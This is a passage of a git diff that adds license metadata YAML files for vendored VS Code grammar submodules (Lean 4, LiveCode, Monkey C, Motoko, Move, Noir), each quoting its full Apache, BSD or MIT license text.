+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+notices: []
+...
diff --git a/vendor/licenses/git_submodule/vscode-lean4.dep.yml b/vendor/licenses/git_submodule/vscode-lean4.dep.yml
new file mode 100644
index 0000000000..f25246d756
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-lean4.dep.yml
@@ -0,0 +1,188 @@
+---
+name: vscode-lean4
+version: 97d7d8c382d1549c18b66cd99ab4df0b6634c8f1
+type: git_submodule
+homepage: https://github.com/leanprover/vscode-lean4.git
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |2+
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+notices: []
+...
diff --git a/vendor/licenses/git_submodule/vscode-livecodescript.dep.yml b/vendor/licenses/git_submodule/vscode-livecodescript.dep.yml
new file mode 100644
index 0000000000..036bc3de65
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-livecodescript.dep.yml
@@ -0,0 +1,41 @@
+---
+name: vscode-livecodescript
+version: 3b1c572b5497851e438b92d0a88b08c0888e29a9
+type: git_submodule
+homepage: https://github.com/Ferruslogic/vscode-livecodescript.git
+license: bsd-3-clause
+licenses:
+- sources: LICENSE.md
+  text: |
+    BSD 3-Clause License
+
+    Copyright (c) 2022, FerrusLogic
+    All rights reserved.
+
+    Redistribution and use in source and binary forms, with or without
+    modification, are permitted provided that the following conditions are met:
+
+    1. Redistributions of source code must retain the above copyright notice, this
+       list of conditions and the following disclaimer.
+
+    2. Redistributions in binary form must reproduce the above copyright notice,
+       this list of conditions and the following disclaimer in the documentation
+       and/or other materials provided with the distribution.
+
+    3. Neither the name of the copyright holder nor the names of its
+       contributors may be used to endorse or promote products derived from
+       this software without specific prior written permission.
+
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+    AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+    IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+    DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+    FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+    DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+    SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+    CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+    OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+    OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+- sources: README.md
+  text: "[BSD 3](LICENSE.md) &copy; FerrusLogic"
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-monkey-c.dep.yml b/vendor/licenses/git_submodule/vscode-monkey-c.dep.yml
new file mode 100644
index 0000000000..631b2dda69
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-monkey-c.dep.yml
@@ -0,0 +1,30 @@
+---
+name: vscode-monkey-c
+version: c45bd182c137b1e0ef7ca7ea1df3ecc9c8e47983
+type: git_submodule
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2016 Alexander Fedora
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-motoko.dep.yml b/vendor/licenses/git_submodule/vscode-motoko.dep.yml
new file mode 100644
index 0000000000..f63a1a95f6
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-motoko.dep.yml
@@ -0,0 +1,212 @@
+---
+name: vscode-motoko
+version: 3d44efebfb482c28b0e8f5912946092ff554a994
+type: git_submodule
+homepage: https://github.com/dfinity/vscode-motoko.git
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |2
+
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "[]"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright [yyyy] [name of copyright owner]
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-move-syntax.dep.yml b/vendor/licenses/git_submodule/vscode-move-syntax.dep.yml
new file mode 100644
index 0000000000..df0188f956
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-move-syntax.dep.yml
@@ -0,0 +1,19 @@
+---
+name: vscode-move-syntax
+version: 4b04e9d614901097ffc0663fef40bd3e5d87779e
+type: git_submodule
+homepage: https://github.com/damirka/vscode-move-syntax.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |-
+    Copyright 2021 Damir Shamanaev
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+- sources: README.md
+  text: "[MIT](LICENSE)."
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-noir.dep.yml b/vendor/licenses/git_submodule/vscode-noir.dep.yml
new file mode 100644
index 0000000000..04a466dfca
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-noir.dep.yml
@@ -0,0 +1,211 @@
+---
+name: vscode-noir
+version: 2376b85cf7bf78d738cb8e8ecfdd85c44da85ad8
+type: git_submodule
+homepage: https://github.com/noir-lang/vscode-noir.git
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |2
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "[]"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
